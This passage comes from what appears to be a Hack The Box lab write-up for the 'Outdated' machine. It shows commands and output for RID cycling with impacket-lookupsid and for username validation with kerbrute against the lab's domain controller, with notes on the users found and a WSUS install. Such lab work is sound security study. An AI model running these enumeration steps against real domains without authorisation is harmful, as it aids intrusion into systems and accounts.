RID Cycling
┌──(kali㉿kali)-[~/archive/htb/labs/outdated]
└─$ impacket-lookupsid OUTDATED.HTB/blahblah@dc.outdated.htb 100000
Impacket v0.11.0 - Copyright 2023 Fortra
password:
[*] Brute forcing SIDs at dc.outdated.htb
[*] stringbinding ncacn_np:dc.outdated.htb[\pipe\lsarpc]
[*] domain sid is: S-1-5-21-4089647348-67660539-4016542185
498: OUTDATED\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: OUTDATED\Administrator (SidTypeUser)
501: OUTDATED\Guest (SidTypeUser)
502: OUTDATED\krbtgt (SidTypeUser)
512: OUTDATED\Domain Admins (SidTypeGroup)
513: OUTDATED\Domain Users (SidTypeGroup)
514: OUTDATED\Domain Guests (SidTypeGroup)
515: OUTDATED\Domain Computers (SidTypeGroup)
516: OUTDATED\Domain Controllers (SidTypeGroup)
517: OUTDATED\Cert Publishers (SidTypeAlias)
518: OUTDATED\Schema Admins (SidTypeGroup)
519: OUTDATED\Enterprise Admins (SidTypeGroup)
520: OUTDATED\Group Policy Creator Owners (SidTypeGroup)
521: OUTDATED\Read-only Domain Controllers (SidTypeGroup)
522: OUTDATED\Cloneable Domain Controllers (SidTypeGroup)
525: OUTDATED\Protected Users (SidTypeGroup)
526: OUTDATED\Key Admins (SidTypeGroup)
527: OUTDATED\Enterprise Key Admins (SidTypeGroup)
553: OUTDATED\RAS and IAS Servers (SidTypeAlias)
571: OUTDATED\Allowed RODC Password Replication Group (SidTypeAlias)
572: OUTDATED\Denied RODC Password Replication Group (SidTypeAlias)
1000: OUTDATED\WSUS Administrators (SidTypeAlias)
1001: OUTDATED\WSUS Reporters (SidTypeAlias)
1002: OUTDATED\DC$ (SidTypeUser)
1103: OUTDATED\DnsAdmins (SidTypeAlias)
1104: OUTDATED\DnsUpdateProxy (SidTypeGroup)
1105: OUTDATED\CLIENT$ (SidTypeUser)
1106: OUTDATED\btables (SidTypeUser)
1107: OUTDATED\ITStaff (SidTypeGroup)
1108: OUTDATED\sflowers (SidTypeUser)
performing the rid cycling attack with an arbitrary credential against the target SMB service; blahblah
Found the following domain users;
administrator
DC$
CLIENT$
btables
sflowers
I will first validate these users
Validation
┌──(kali㉿kali)-[~/archive/htb/labs/outdated]
└─$ kerbrute userenum --dc dc.outdated.htb -d OUTDATED.HTB users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 01/03/24 - Ronnie Flathers @ropnop
2024/01/03 15:22:55 > Using KDC(s):
2024/01/03 15:22:55 > dc.outdated.htb:88
2024/01/03 15:22:55 > [+] VALID USERNAME: administrator@OUTDATED.HTB
2024/01/03 15:22:55 > [+] VALID USERNAME: DC$@OUTDATED.HTB
2024/01/03 15:22:55 > [+] VALID USERNAME: sflowers@OUTDATED.HTB
2024/01/03 15:22:55 > [+] VALID USERNAME: btables@OUTDATED.HTB
2024/01/03 15:22:55 > [+] VALID USERNAME: CLIENT$@OUTDATED.HTB
2024/01/03 15:22:55 > Done! Tested 5 usernames (5 valid) in 0.029
All 5 users have been validated against the target KDC
Interestingly, both CLIENT$
and sflowers
users were initially found through kerbrute brute-force attack earlier, and an additional measure was in development as the target domain appeared to use a naming convention, considering the username of the sflowers
user
However, it may not be worth going down the username enumeration process based off a suspected naming convention given and considering there are only 5 valid users identified through the RID cycling attack above.
Additionally, presence of SIDs with WSUS further suggests that the target domain has Windows Server Update Services (WSUS) installed